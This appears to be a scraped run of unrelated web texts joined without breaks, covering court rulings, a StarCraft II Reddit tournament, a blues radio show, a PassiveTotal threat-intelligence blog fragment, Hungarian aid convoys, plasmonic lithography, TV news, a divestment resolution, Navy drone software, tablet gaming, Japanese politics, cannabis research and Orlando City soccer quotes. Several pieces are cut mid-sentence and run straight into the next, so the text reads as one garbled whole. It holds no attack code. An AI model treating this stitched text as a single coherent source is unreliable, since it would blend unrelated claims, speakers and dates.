liberal judges of the U.S. 9th Circuit Court of Appeals as the Supreme Court overturned the majority of their decisions, at times sharply criticizing their legal reasoning," theled with in a July 2011 story about the court."The Supreme Court reversed or vacated 19 of the 26 decisions it looked at from the 9th Circuit this judicial term, issuing especially pointed critiques of the court's handling of cases involving prisoners' rights and death row reprieves," the report said, noting that even the Supreme Courts liberal justices joined conservative members in overturning 12 of the 9th Circuit's cases.As for these DEA agents, well, given the recent changes to Indiana law that allows homeowners to shoot at anyone, including police, who enter their homes illegally, they'd better make sure they get it right in the Hoosier State.scReddit Invitational:
The Official Starcraft II Invitational for and by the scReddit Community
Brought to you by: Justin.tv, Zen Magnets, NewGamesNinja, Siistem at DFL gaming, Redditor jgrindal
Problem with something? Check out this page first.
What is scReddit Invitational?
The SCRI is a tournament designed to pit Starcraft.Reddit.com’s best players against some of the best players that the StarCraft professional scene has to offer. In the main event, 8 Redditors and 8 invited pro gamers will compete for a large prize pool in an event that will feature some of scReddit’s favorite invited commentators and players invited by the community at starcraft.reddit.com.
Event Format
Qualifiers have been updated
For the inaugural SCRI, there will be a 128-man open tournament on Saturday, December 18th held for all Redditors who have a Reddit account that is at least 1-month old and have not won an scReddit Open. On that same day, the top 8 competitors from that event will then face off against past SCRO winners in a single-elimination bracket. The top 8 finishers from the overall qualifier will represent scReddit against the invited progamers. For future SCRIs, there will not be a single qualifier event. Instead, the top 2 competitors from each of the previous 4 Opens will be automatically entered to represent scReddit.
Main Event
Group Stages The SCRI will be a 16-man event divided into 4 groups of people. Each group will consist of 2 Redditors and 2 invited progamers. The group stages will follow a Best-Of-3 round-robin format. The top 2 from each group will advance to the RO8. group stages will take place on Saturday, January 8.
All matches in the RO8 will be Best-of-5 (BO5). There will be a 3rd place match that is also a BO5, and the finals will be BO7. The RO8 will take place on Sunday, January 9.
Other Details
Progamer Invites
On December 14, a voting thread in which Redditors nominate which progamers they would like to see at the event will be opened. Only players who have access to the NA server will be eligible. Of that thread, the top 4 upvoted nominations will be invited, with the other 4 invitees determined by tournament administrators. However, even for the 4 invitees determined by tournament administrators, the voting thread will be heavily considered.
Prizes
There will be prizes available for both the top-placing Redditors and the overall most successful competitors. Redditors will have the opportunity to win a compounded prize pool that includes both the prizes for Redditors and the grand prizes for the overall event (e.g. if a Redditor wins the entire event, they win both the Reddit prizes and the grand prizes. If a progamer wins the overall event, they only win the grand prize).
Timeline
Week of December 12: Progamer Invite Thread Opens
Friday, December 17: Progamer Invite Thread Closes at 11:59 p.m. EST
Saturday, December 18: SCRI Qualifiers
Saturday, January 8 through Sunday, January 9: SCRI Main Event (2 days)
Eligibility
You must have a registered Reddit account that is at least 1 month old.
Your must be registered on rStarcraft.com.
You must be able to play on the U.S. server.
Want to Donate?
This event is already huge thanks to our sponsors and the generosity of Redditors like jgrindal, but with your help we can truly take it to the next level and get bigger names, better casters, and higher production value. A bigger prize pool and funding for the event will make this all possible, so if you are interested please feel free to express your support by sending a donation to via PayPal to the account scredditfinance@gmail.com. All proceeds go to prize pools, hosting, and/or paying casters.
Thanks to all our contributors!
Current Contributions (>$25)
Companies: Justin.TV: $200, Zen Magnets: $200, NewGamesNinja: numerous Steam games
Redditors: jgrindal: $100, Anonymous 1: $100
AdvertisementsStream This Episode On Demand
I had a lot of fun putting together this week’s show, editing layers of sound and setting the mood for the Halloween theme. These songs hold up year round, but fit the format for this journey through the haunted home for new & independent Blues music. All of the songs featured this week are from 2014 releases, except one. Oh, and scroll below the playlist to watch a video performance of that Munsters theme that kicked us off!
The featured selection from inside “Johnny’s Mailbox” was actually released back in 2013, but was only recently sent to the studios of the show. The song, “Werewolves Make Lousy Boyfriends,” was put out as a digital single by North Carolina based artist Robert Johnson, Jr. This young man may share the name of a Blues legend, but the Blues is only a small influence on his sound. He plays what he calls “Dirty Southern Soul Music.” This funky number suits this Halloween special nicely, and the song’s cool, too. For more information about Robert Johnson, Jr.’s music, and his digital singles, including “Werewolves Make Lousy Boyfriends,” visit his official website RobertJohnsonJrMusic.com
1. Kenny Wayne Shepherd – Boogie Man – Goin’ Home
2. Doug Prescott Band – Invisible Man – Karma & The Big Caboose
3. The MacKenzie |
using passivetotal.org, analysts have access to a significant amount of data. A quick scan of the entities shows that PassiveTotal uses a handful of Google analytics and marketing add-ons, and is running Apache, using the Ubuntu operating system and multiple jQuery libraries.
While we can’t show off the full scope of our updated transform sets capabilities in a single blog post, I hope we have excited you enough to go take a look at the entire set for yourself. We are constantly searching for new and innovative ways to access and query our data set, so as you start to investigate new incidents using the updated transforms, if you think of any additional information or transforms that could aid in your investigation, send a message to feedback@passivetotal.org and let us know how we can help.Member organizations of the Hungarian Charity Council – the Hungarian Charity Service of the Order of Malta, the Caritas Hungarica, the Hungarian Red Cross, the Hungarian Reformed Church Aid and the Hungarian Baptist Aid – have combined their efforts to send an aid convoy to Ukrainian families, Minister of State for Churches, National Minorities and Civil Affairs Miklós Soltész said at a Budapest press conference on Tuesday.
He said the primary aim of the initiative was to help those families in the Transcarpathian region who had to either leave their homes, or had their heads of family lost or wounded in the conflict.
The convoy is expected to leave in mid-April and the aid will be distributed with the help of local Ukrainian charities among those most affected. On Monday, Mr Soltész announced in the northeast Hungarian town of Nyíregyháza that with the help of Ukrainian minority leaders and diplomats an accord was reached with Ukrainian authorities to facilitate the border crossing of the aid convoys.
On Tuesday, Mr Soltész coordinated with Hungarian charities regarding the technical aspects of the aid convoys and said that depending on further talks with Ukrainian authorities, more similar convoys could be assembled over time.
He added that besides donations from private individuals, the charities would also welcome support from food producers and there was also need for medicines and medical equipment. The charities involved expect donations until Easter Monday (6 April), in order to be able to equip the convoys by the 9 April deadline.
(Ministry of Human Capacities)The laws of physics dictate that traditional lenses can’t focus light onto a spot narrower than half the wavelength of the light. But converting the light into waves called plasmons can get around this limitation. Plasmonic lithography, which uses plasmon-generated radiation to carve physical features into a substrate, promises to revolutionize optical storage and computing, enabling ultradense DVDs and powerful microprocessors. Now, researchers at the University of California, Berkeley, have surmounted the biggest obstacle to plasmonic lithography by building a prototype that brings a plasmonic lens very close to the substrate.
As the lens flies: This simulation shows how air moves around a microscale bearing that’s the key component of a prototype device for a new kind of high-resolution optical lithography. The red lines show the flow of air around the device; color gradations from dark blue to red indicate air pressure, from low to high. Buoyed by air, the bearing keeps an array of lenses within 20 nanometers of a spinning disc coated with a light-sensitive chemical.
Led by Berkeley mechanical-engineering professors Xiang Zhang and David Bogy, the researchers created what they call a flying plasmonic lens, an array of light concentrators that passes over a surface at a height of only 20 nanometers. The light concentrators are concentric circles patterned onto a thin film of silver; illuminating them with a laser causes electrons on their surfaces to oscillate. The oscillating electrons in turn emit a type of radiation that’s more tightly focused than light passing through conventional optics would be, but it can travel only about 100 nanometers from the lens surface. So the Berkeley researchers mounted the lenses on a device that uses so-called air bearings: the shape of the device causes a cushion of air to form under it, holding the lenses about 20 nanometers from a surface. In the researchers’ prototype,described in a paper in Nature Nanotechnology, the bearing moves the lens array over a disc spinning at speeds of 4 to 12 meters per second, much as the arm on a turntable holds the needle over a record.
Kenneth Crozier, a professor of natural sciences at Harvard University, says that the Berkeley researchers’ use of the air bearing overcomes “one of the key technological challenges in plasmonics.” Over the past few years, Crozier and others have used plasmonics to concentrate light onto ever smaller spots, but they haven’t successfully addressed the practical issue of distance control. The Berkeley device, Crozier adds, also offers far faster scanning speeds than other devices do.
The speed and precision of the system is equivalent to flying a Boeing 747 two millimeters above the ground, says Zhang. Indeed, the design of the air bearing is in some ways analogous to the design of an airplane. A pair of pads on the bearing control roll; another pair control pitch, the equivalent of moving a plane’s nose up or down.
Plasmonic lithography is “a technology that bears looking at because we need better solutions for sub-20-nanometer lithography than we have today,” says John Hartley, director of the Advanced Lithography Center at the University of Albany’s College of Nanoscale Science and Engineering. In optical lithography, light shines through a mask–a type of stencil–onto a substrate, such as a silicon wafer, that’s coated with a light-sensitive chemical called a photoresist. The photoresist hardens where the light strikes it; elsewhere, it can be rinsed away, reproducing the pattern of the mask. It’s possible to make finer features by using shorter-wavelength light, but this approach quickly becomes impractical, says Zhang. Shorter-wavelength light has higher energy, and producing it requires expensive lasers or, in the case of extreme ultraviolet light, a synchrotron. Other technologies, such as electron beams, can etch very fine features without masks, but they’re slow. The Berkeley flying lens is much faster and will become faster still, says Zhang, when the number of plasmonic lenses in an array is increased from the current 16 to 100,000.
So far, the Berkeley researchers have demonstrated that they can use the technology to etch 80-nanometer lines. This is large compared with the best optical-lithography techniques currently in use. However, Zhang says, engineering the distance-control system was the hard part. Making the concentrators smaller, for example, will increase the technique’s resolution.
But higher-resolution light beams won’t do much good without a new generation of photoresists that can resolve features that are only five nanometers or so across; the photoresists on the market were designed to work with wider beams of light. Zhang says that he is currently collaborating with chemists to address this problem.
Zhang says that the air-bearing design could also enable other applications of plasmonics, particularly high-resolution imaging. “If we can print 50 nanometers, we can image 50 nanometers,” he says. The flying lenses could be used as probes for evaluating the quality of computer chips or for biological imaging, allowing biologists to watch processes unfolding in living cells at the molecular level.
Zhang is in the process of spinning out a company to develop the technology and has been contacted by major semiconductor companies, he says.Share. "We are really, truly not working on HIMYD anymore." "We are really, truly not working on HIMYD anymore."
Despite recent reports claiming How I Met Your Dad is still being worked on, executive producers Carter Bays and Craig Thomas -- the creators of How I Met Your Mother -- clarified that's not the case.
TV Line reported this week that Bays & Thomas were still invested in the How I Met Your Mother spinoff series, which was passed on by CBS in May. According to the report, the series was being re-developed by Bays, Thomas and 20th Century Fox (who produced How I Met Your Mother) with the intention of finding a new home for it. But Bays took to Twitter to dispute that claim earlier today.
Exit Theatre Mode
"I don't know why I keep reading articles about this, but since nobody bothers asking us: We are really, truly not working on HIMYD anymore," Bays wrote. "[The show] was fun to work on, terrific cast, terrific writer, but it's over now and we have other stuff we want to do. Maybe in the future it could be something, but I think we need to try something new before we go back to it."
IGN's Top 10 How I Met Your Mother Episodes
Thomas than chimed in himself on Twitter as well, writing, "To second my bro @CarterBays, any article you read about #HIMYD being kept alive is not true. Sadly, that project will not move forward. We loved making #HIMYD and are sad it couldn't move ahead, but sometimes that's how it goes. Thanks for all the interest in it -- perhaps it will come back around some day, but first we will do something else! Love to the #HIMYD cast and crew and @spivey_e [How I Met Your Dad executive producer/writer Emily Spivey] -- we are honored we the chance to work together!"
How I Met Your Mother: Series Finale Review
When CBS passed on the spinoff series, which starred Greta Gerwig and an entirely different cast from the original series, the network did mention that 20th Century Fox, as the actual owners of the project, could shop the show around to other outlets. But with Bays and Thomas' recent comments, it looks like it's time to move on from the HIMYM world.
Evan Campbell is a freelance news writer who streams games on his Twitch channel, talks about Nintendo weekly on the NF Show, and chats about movies and TV series on Twitter.A joint resolution passed on January 19 by the student government at the University of South Florida calls for the Board of Trustees of the USF Foundation to divest from six companies which are complicit in human rights violations against Palestinians.
The resolution, titled “In Support of Student Voices,” was passed 32-12 with five abstentions after three hours of debate. Along with calling for divestment from companies involved in Israel’s apartheid regime, it also demands that the Board of Trustees create a socially responsible investment policy and a committee for financial transparency which would publish quarterly reports.
Caterpillar, Hewlett-Packard, G4S, Boeing, Lockheed Martin, and Northrup Grumman are listed as corporations in which the university has invested funds. The text of the resolution details how these corporations “support and profit from” the Israeli occupation of Palestine.
The passage of the resolution last week comes after years of campaigning by students facing formidable opposition. In 2013, students passed a campus-wide referendum on divestment, which was then voided by the university administration.
Students for Justice in Palestine at the University of South Florida then gathered 10,000 signatures on a petition calling for socially responsible investment – the largest petition ever put forward in a Florida university. The resolution passed Tuesday contained the exact text of that petition, to ensure it was an accurate reflection of student voices.
The university once again ignored the call for divestment after discussing it for only thirteen minutes. Alan Bomstein, the board member who motioned for the dismissal of the referendum, is personally invested in Israel bonds and the Jewish National Fund, which fund the colonization of Palestine.
SJP fundraised and put up a large billboard outside of campus, which read “10,000 students silenced,” in reference to the petition which had been ignored by the administration.
When the resolution was put before the student senate this year, the university continued using confusing and antagonistic tactics to try to defeat it. They claimed that the Florida legislature was on the verge of passing an anti-BDS bill, which would make the enforcement of the resolution illegal.
Students countered that boycott and divestment have been upheld by the supreme court as legal forms of civil rights activism.
Muhammad Imam, a student senator and sponsor of the resolution, said the campaign over the past several years galvanized student opinion.
“More and more students are getting involved, more and more students representatives are taking stances,” Imam said.
Now that the referendum has been passed in the student senate, it moves to the faculty senate and the staff senate. Imam said it is up to them “whether they want to be on the right side of history, whether they want to side with their conscience, or follow in the footsteps of their predecessors.”According to a new contract announced last Wednesday, the U.S. Navy will use Linux as the foundation for its drone fleet. The endeavor will cost about $34 million for the entire fleet of MQ-8B Firescouts.
Defence Professionals reports that the no-compete contract between the Navy and Raytheon Intelligence and Information Systems is "to complete Linux transition on the tactical control system software for vertical take-off unmanned air vehicle ground control stations." The cost is $27,883,883, in addition to $5,175,075 of funding set to expire at the end of the year.
According to the Register, the U.S. Navy currently has only one VTOL drone model: the MQ-8B Firescout. These helicopter drones have already been deployed to Africa, Afghanistan, Libya and have also seen some action in the never-ending war on drugs. Although the Navy plans to eventually use 168 of the drones, the current number of robot helicopters appears to be less than that figure.
The Navy has not disclosed its reasoning behind the switch to Linux, but the Register theorizes that it might have something to do with the malware issues that have popped up with other drone programs. We've already seen how keyloggers and other pieces of malicious software had somehow found their way into the secure Windows systems in the U.S., used to control drones like the Reapers and Predators flying over Afghanistan. While there appeared to be no danger, it was a wake-up call for the armed forces, and this could be the Navy's response.
Image courtesy of Flickr, Official U.S. Navy Imagery
This article originally published at Geekosystem hereAs current-generation consoles stagnate, several players in the technology industry are poised to make an aggressive push into tablet gaming. Forbes analyzes what's coming and speaks to Nyko, NVIDIA, and PowerA about the burgeoning tablet gaming market.
Game developer Crytek (Crysis 2) has become increasingly vocal about the future of the industry, and they're onto something. The company has gone on record stating the current business model of DLC and premium services is "milking customers to death" and that once they complete Crysis 3 for publisher Electronic Arts, the studio will adopt a free-to-play strategy for all titles. More recently, however, Crytek's founder Cevat Yerli has stated that the tablet market poses a serious threat to console manufacturers Sony, Microsoft and Nintendo.
"The current generations are drying out and the longer we wait for the next generation of consoles, the higher the likelihood that they could fall behind tablets in terms of being the first thing people reach for when the time comes to play games,” Yerli told VG24/7.
Indeed, the current cycle of traditional game consoles is the longest in history; a typical console cycle is 5 years. Though Nintendo's Wii U will be first out of the gate sometime this holiday season, few core gamers would slap the coveted "next-generation" label on the hardware. Meanwhile, Microsoft's Xbox 360 has been on shelves since November 2005, and while leaked documents and persistent rumors (not to mention common sense) tell us the "Xbox 720" is being developed, it hasn't been officially announced. This puts it out of consumer's hands until at least late 2013. Sony remains tight-lipped about an eventual PlayStation 3 successor, though rumors of a redesigned "Slim" model have surfaced.
Apple's iPad dominates 62% of the tablet market -- and it's possible Apple is crafting an in-house controller for their iOS devices -- but a revolution is forming on the Android side of the pond.
Leading that charge is NVIDIA. Its Tegra 3 chip has been designed with mobile games in mind, but that hasn't stopped some developers from delivering console-quality experiences on tablets like the ASUS Transformer Pad Infinity. Recent examples include MadFinger Games' Dead Trigger and Phosphor's Dark Meadow. Both games feature animated textures, water flourishes and dynamic particle effects that rival the capabilities of their console competitors. Take 60 seconds to gaze at the reveal trailer for EA Mobile's upcoming Real Racing 3, and you may be hard-pressed to distinguish that pre-alpha gameplay footage from a console-class racing title.
“There definitely is a change going on with an increasing number of people playing games on tablets and smartphones. Comments like [Crytek's] Cevat’s go to show why we’re investing in TegraZone and mobile games. And we’re delivering the best in PC and Cloud gaming with GeForce GTX GPUs and GeForce GRID. Cliffy B of EPIC Games recently stated that ‘the next-gen is here and it’s a high-end PC’ and John Riccitiello from EA said ‘the fastest growing platform for video games today is the PC.’ We see PC and Cloud gaming as two other areas of growth.” Ujesh Desai, VP of Corporate Marketing, NVIDIA
Backing up Mr. Desai's claim of accelerated game-centric usage on tablets is a March 2011 survey conducted by Google's AdMob. The poll found that 82% of respondents use their tablets at home, and 43% spend more time with them than desktop PCs and TVs. A staggering 84% of these tablet owners were spending the majority of time playing games. This was months before NVIDIA released the Tegra 3 chip. Also consider that for every Android tablet on the market, there are 6.6 iPads.
While PC gaming will continue to thrive with plummeting prices and rapid advancements in hardware, NVIDIA has put serious horsepower into Android tablets and developer's hands. The missing link? Standard controllers.
Games designed with touch controls in mind are fantastic, but key to a higher adoption rate is giving players control options they're used to, which in turn empowers more console-quality titles to be developed. Peripheral manufacturers Nyko, SteelSeries, and PowerA are prepping some elegant solutions.
PowerA MOGA Mobile Gaming System
Publishers like Gameloft, SEGA, Namco Bandai and Atari are already backing PowerA's upcoming mobile controller, and even Google has given their SDK a glowing endorsement. I had extensive hands-on time with the peripheral at E3 2012, and it's a stylish, comfortable piece of tech compatible with nearly any Android smartphone or tablet. Gamers will appreciate its ease of use and portability; developers can use PowerA's SDK to rapidly layer controller options into new or existing titles.
"While we can't really predict what the future will bring in the console gaming market, we've heard loud and clear that more and more gamers prefer to play on phones and tablets. Our goal when we launch MOGA this holiday is to provide a complete mobile gaming solution with full analog controls to the market that will further blur the differences between mobile and console games." Eric Bensussen, President and Co-founder at PowerA.
Nyko PlayPad/PlayPad Pro Android Controllers
Nyko is working with NVIDIA and Google for their upcoming PlayPad line of Android controllers, which Forbes can reveal will be launching this October at Gamestop locations.
Here's where things get exciting: Nyko's PlayPad line will ship with a free app allowing users to map on-screen touch controls to the controller, ensuring that it is backwards-compatible with almost all Android games on the Google Play Store.
"Because of limited controls and a small screen, mobile gaming was previously dismissed as a short-term diversion when compared with console and PC gaming. However, with the appearance of controllers and the ability to hook mobile devices to an HDTV, tablet gaming is being taken much more seriously. It's important for console makers to find ways to offer cross-platform experiences in new games that offer interactivity on both devices, or a'second-screen experience.' Tablets and consoles can co-exist and support each other in the gaming space. The tablet gamer and console gamer are not mutually exclusive." Herschel Naghi, CEO of Nyko
SteelSeries Cross-Platform Controller (Name TBA)
At CES 2012, SteelSeries unveiled a cross-platform mobile controller formerly named "Ion." It has since been renamed and improved upon, and even supports PC and Mac. While Forbes can't reveal further details until Gamescom, we can say confidently that SteelSeries has an impressive list of publishers behind it, and there are multiple reasons to keep their controller on your radar when it launches this October.
Perhaps the most glowing endorsement of tablet gaming has been issued by Gamestop, which is selling both iPads and Android tablets at 1600 of its retail stores. The Texas-based chain even designed their own proprietary controller.
While we reserve criticism until the products launch, there's no denying the weight behind Cevat Yerli's assertion that tablet gaming is poised to explode. As these companies leverage their resources to provide a familiar, unified mobile experience, console manufacturers and publishers will need to step up their game.
Follow me on Twitter and Facebook, or subscribe to my Forbes RSS feed.Mayor Osami Takeyama’s victory Sunday in the Sakai mayoral election in Osaka Prefecture has cast a shadow over the political future of brash Nippon Ishin co-leader Toru Hashimoto, the mayor of Osaka.
Takeyama, a 63-year-old independent, defeated former Sakai Assemblyman Katsutoshi Nishibayashi, his sole challenger, with the backing of the Democratic Party of Japan and the ruling Liberal Democratic Party, early returns showed.
Nishibayashi, 43, was backed by Nippon Ishin no Kai (Japan Restoration Party).
The main issue in the election was whether to let prefecture absorb the major cities by turning them into wards, as in Tokyo. Sakai would have been one of those cities.
One of Hashimoto’s main goals is to integrate the city of Osaka with the prefecture, giving it the same administrative structure and status as Tokyo.
During his campaign, Takeyama 63, argued that integration would only “steal Sakai’s financial resources and authority.”
Nishibayashi claimed that Sakai would be “left behind” in terms of economic development unless it was part of the larger entity.
Takeyama was elected to his first term four years ago with Hashimoto’s backing when Hashimoto was the governor of Osaka Prefecture. He later butted heads with Hashimoto over the integration plan, making it clear that Sakai would not take part in the merger.
Despite Sunday’s defeat, however, Hashimoto denied at a news conference in Sakai that he would resign as Nippon Ishin’s co-leader.
The Sakai election and Nippon Ishin are “separate matters,” he said. “I must fulfill my responsibilities.”
He also said his goal of creating a larger Osaka would not be deterred.
Even so, the election defeat will inevitably affect his already weakened clout in national politics, observers said.
Indeed, a Kyodo exit poll showed that more than 66 percent of so-called swing voters in the election sided with the incumbent — a sign that Hashimoto is fading fast.
Hashimoto’s meteoric rise to local stardom, and then national politics, owes much to the support of this segment of the voting populace. But Sunday’s poll suggests that Nippon Ishin’s repeated conservative forays, as well as inflammatory remarks made by its own leaders, have disillusioned many of its supporters.
Earlier this year, Hashimoto enraged people at home and abroad by saying he believes Japan’s wartime brothels, where thousands of women and girls were forced into sexual servitude, was “necessary to maintain discipline” in the Imperial Japanese military.
In addition, feisty co-leader Shintaro Ishihara, the one who came up with the plan to purchase the Senkaku Islands from their Japanese owner to further assert Japan’s claim to sovereignty, only resulted in bringing ties with China to their lowest in years, and dragging down the economy.May 2011, Number 4
Click HERE or on the graphic above to view issue pg. 8, The Function of the Extremities in Discus Throwing
by Andreas V. Maheras, Ph.D.
by Andreas V. Maheras, Ph.D. pg. 18, Preventing Eating Disorders
by Suzanne Girard Eberle
by Suzanne Girard Eberle pg. 30, The Errors of Our Running Ways
by Jason R. Karp, Ph.D.
by Jason R. Karp, Ph.D. pg. 36, The Art and Science of Connecting Land and Water for Optimal Performance
by Dr. Garry Killgore
by Dr. Garry Killgore pg. 43, Size in Athletic Performance
by Scott Christensen
by Scott Christensen 2011 USTFCCCA Indoor Track & Field Award Winners
February 2011, Number 3
Click HERE or on the graphic above to view issue pg. 15, Improving Steeplechase Results
by David Vidal
by David Vidal pg. 22, The Basics of Trainining Theory
by Steve Johnson
by Steve Johnson pg. 30, Running Into the Fire
by Dr. Mark Aoyagi
by Dr. Mark Aoyagi pg. 36, Power Clean Fundamentals for the Track & Field Coach
by John M. Cissik
by John M. Cissik pg. 42, Optimize Shot Put Technique
by Todd Linder
by Todd Linder 2010 USTFCCCA Cross Country Award Winners
pg. 56, 10 Spot: 10 Strategies for Making the Best Use of Your Telephone Time
by James A. Peterson, Ph. D., FACSM
November 2010, Number 2
Click HERE or on the graphic above to view issue pg. 12, Warming Up: Designing an effective pre-activitiy routine for the thrower
by Lawrence W. Judge, Ph.D., CSCS
by Lawrence W. Judge, Ph.D., CSCS pg. 20, On Your Marks: Correct Starting Block Set Up for an Efficient and Effective Acceleration
by Andy Eggerth
by Andy Eggerth pg. 29, The Complexity of the Triple Jump
by Eli Sunquist
by Eli Sunquist pg. 34, Finesse in Javelin Throwing
by Andreas V. Maheras, Ph.D.
by Andreas V. Maheras, Ph.D. pg. 42, A Zone of Discipline
by Gary Wilson
by Gary Wilson pg. 50, Going the Distance: What coaches need to know about transition phases for long-distance runners
by Mike Elder
August 2010, Number 1Michael Balderstone of the Hemp Embassy in Nimbin is hopeful that new research will help ease the current anti-pot legislation.
Michael Balderstone of the Hemp Embassy in Nimbin is hopeful that new research will help ease the current anti-pot legislation. Jay Cronan
NEW research on cannabis suggests smoking a joint might not be as bad for the brain as it was once thought.
The research published in the American Journal of Epidemiology, shows cannabis users' memories are as good, if not better, than non-users'.
The findings have got pro-cannabis campaigners including Nimbin Hemp Embassy president Michael Balderstone hopeful that current anti-pot legislation will go up in smoke.
"I think the Greens will try to get a limited trial of medicinal cannabis happening soon, but it's not going to help the two million regular cannabis users in Australia," he said.
"We've been left behind."
New legislation soon to be voted on in California would see cannabis regulated in the same way alcohol was, he claimed.
Mr Balderstone said the new research was right and cannabis was not bad for memory function.
"I think that when you're stoned, you're spaced out, and some of your short-term memory goes but it does come back," he said.
"If there's a history of mental illness, you've got to be careful.
"But there's not one recorded death from cannabis use.
"Someone might have choked on a plastic bag once trying to eat an ounce or something but that's about it."
Mr Balderstone said "getting busted" was the worst health risk associated with cannabis use.
"You get a criminal record, which you have all your life, and it makes it hard to get a job, and that's when you get mental illnesses like depression," he explained.
Mr Balderstone said the "fear and paranoia of smoking under prohibition" is also one of the biggest causes of mental illness in cannabis users.
The new research on memory function is particularly relevant to Australia and New Zealand as their rates of cannabis use are highest in the world.
Mr Balderstone said the Northern Rivers has a high rate of usage when compared to other regions in those countries.1 of 5
March 29, 2017 at Sylvan Lake Park
Availability: HC Jason Kreis, F Giles Barnes, DF José Aja
HC Jason Kreis
Orlando City SC forward Cyle Larin has been rumored to be drawing offers from clubs like Nottingham Forest FC and Everton FC. Kreis was quick to shut down those speculations.
From my point of view, it’s interesting ‘cus I have the inside information, which tells you that it’s clearly just speculation. There’s been nobody come to us with any offers. There’s been nothing formal, and, so, for us, it’s clearly just that: a lot of talk. For Cyle, I would say that it’s a good thing. He’s playing well. He’s been noticed for it. People are paying attention, and I think that’s a great thing—not just for Cyle but for everyone involved in the league. Because, ultimately, all of the players, I think probably, at some stage of their career would like to play in Europe in a bigger stage and for a lot more money. So, if he keeps doing well, I would say, “Yes, the opportunity would be there.” But at the end of the day, it has to be the right thing for everybody involved, and everybody involved includes Orlando City.
In the 2017 season, Larin has played up top with Carlos Rivas. In previous seasons, Larin had been used as the lone top man in a 4-2-3-1 formation.
Speaking as somebody who’s done a fair amount of scouting in the past to look for players, it’s nice to see the players play in tactical shapes. It gives you a better idea if they fit into the one that you’re trying to play, so sure.
Before Saturday’s 1-0 loss to the Tampa Bay Rowdies for Orlando City B, nine Major League Soccer players were sent to OCB on season-long loans by the club’s MLS side.
To me, it’s critical. I think everybody puts a different level of importance on such things as camaraderie and teamwork, togetherness. For me and for this club and for the staff, it’s something that we think is very important. We talked a lot about it during the offseason and during the preseason about trying to have a group of players that was more tight-knit and that we’d do anything for each other. I’ve always felt in this league that it’s not the teams that have black and white the most talent. It’s the team that has the most grey and the most togetherness that oftentimes that wins in this league.
Orlando City has dealt with a plethora of injuries so far this season, specifically to the team’s outside-back positions. Team captain Ricardo Kaká has also been out since the first match of the season.
All of them are coming along well. Tony Rocha’s the one that’s on the field and been training with us for a week, and he’s just had a little bit of soreness today, so he wasn’t involved today. But he’s still moving forward, and I believe that the rest are moving forward as well. I haven’t heard about any setbacks, so we have timelines in play. So we’re sticking to those and feeling like we should be getting all of those players back within a short period of time.
Despite having a plethora of new players and new leaders on the team, Kreis doesn’t see a change in how the team is preparing for its first away match.
I don’t think so. I think that we’re always gonna have a particular focus and a particular objective that we’re gonna go into every road game and game plan, so to speak. I do think that probably doesn’t change our preparation, but perhaps it’ll change the performance, meaning can the players understand and deliver what the game plan is? And then it’s a question of was the game plan the right choice? So, I would think that with the number of veteran players and leaders that we have now in the group, we’ve got a higher level of comprehension about what we want to do.
Orlando City faces off against Columbus Crew SC on Saturday at 4 p.m. in City’s first away match of the season.
It’s a very, very good team. We’ve known this now. This is the third year, and I feel like it’s one of the better teams in the league. They’re very creative, very dynamic, very possession-oriented. Create a lot of goal-scoring chances, and so it’s a massive challenge for us. But I think it comes at the right time ‘cus I think that we are a team that has some confidence of our own that has established a little bit of a rhythm right now and a little bit of confidence. And I think that we’re ready for it.
Rivas has been an integral part of the Lions’ offense to start the season. He has so far started the first two matches of the season and figured prominently throughout Orlando City’s preseason plans.
I think he’s growing. I think he’s a young player, and he’s growing as a professional. I think that he’s really embracing now what’s being asked of him and trying to do that. But I honestly could tell you that from the moment I came in, I felt he was somebody that was willing to really do anything that we ask the majority of the time. And so when he does the things that we ask, I think he can bring a lot of useful tools to our team. He’s done a great job of that so far this season. I’m loving to get his goal ‘cus he deserves a goal, so far, in my opinion, and hopefully it’ll come this weekend.
Orlando City will play five games in the month of April. That’s followed by seven games in May.
I mean, five games in a month isn’t so bad. It’ll be May, I think, where we get some real schedule congestion, or I’m not sure if it’s right after the last week of April where there’s gonna be quite a bit of schedule congestion. And that’s where we’re gonna have to talk about a lot of rotation. And we have to have the requisite number of players that we believe can perform in big games, and I think we’re getting there. So, we’re hopefully moving ourselves into a direction where we have a lot of guys that we can rely on to perform. That’s what you need when you play in this league, and you have lots of games in a week.
I think it’s a rhythm question. I think as a coach, you’re always a little bit nervous about how your team’s gonna respond when they’ve had an off weekend. But I think responded fantastically that last time we had an off weekend. And the training sessions have been good. I haven’t seen a lack of rhythm. I haven’t seen a lack of really anything. So I would suspect that we will be ready to perform this weekend, and once we start playing a game every week, that’s what the team needs.
Defender Scott Sutter joined the club for his first training session on March 21.
Coming along very well. Coming along very well. Again, sort of speaking more from a character point of view and a team-building point of view, he’s an absolutely fantastic fit just as Giles was when he came in. It was just a seamless integration, really. And, now, from a tactical point of view, I think it’s gonna take a little bit of time, but he’s an intelligent player that’s played in a lot of different places. So, I don’t see it being too difficult.
Orlando City is 2-0-0 with six points to start the season.
I put nothing in that actually. Absolutely nothing in that. To me, it’s almost like, “Oh, we’re 1-0. We’re perfect.” We’re just 2-0. There’s a lot left in the season, and we’ve gotta handle this thing game by game and just worry about the game on the weekend, and that’s it.
For Kreis, he’d rather have more leaders on the team than too few.
I really don’t. Speaking from my playing experience to tell you that I’d rather have more guys out there talking than less. And also from the ultimate leader of the team, that’s what I like. I’d rather come in and say, “No, actually, you’re saying the wrong thing. This is the right thing to be saying,” than trying to get somebody to speak.
F Giles Barnes
Columbus is 2-1-1 with seven points through four games so far.
Yeah, they’re a confident team. They like to possess the ball. Got good ballplayers over the pitch, but we feel we’ve been doing everything correctly in our games. There’s always room for improvement, which is what we are striving to do every day on the training pitch. And we’re confident going into the weekend.
On Saturday, the Lions played in a closed-door friendly against the University of Central Florida.
The boss gave us a behind-closed-doors game to keep us fresh, keep us ticking over, keep the mind sharp. He’s done really well with that. As I said, the boys have been firing in training. We get a good four days of practice and then obviously take it into the game on Saturday.
When asked about Rivas, Barnes praised the Colombian.
For his height, he’s a big, powerful boy. Very quick. Likes to play off-the-cuff as well. You know, puts defenders on their back foot. The combinations that him and Cyle have been doing have both been working hard, and that’s where I think it’s come from. Cyle’s a lot fitter this year than he was last year. I feel Rivas is getting there as well. He’s got a lot fitter over the last few weeks. And I think that hard work’s just paying off. And then to come together, it’s looking really good, and it’s very promising for us.
For Barnes, it’s about always learning both |
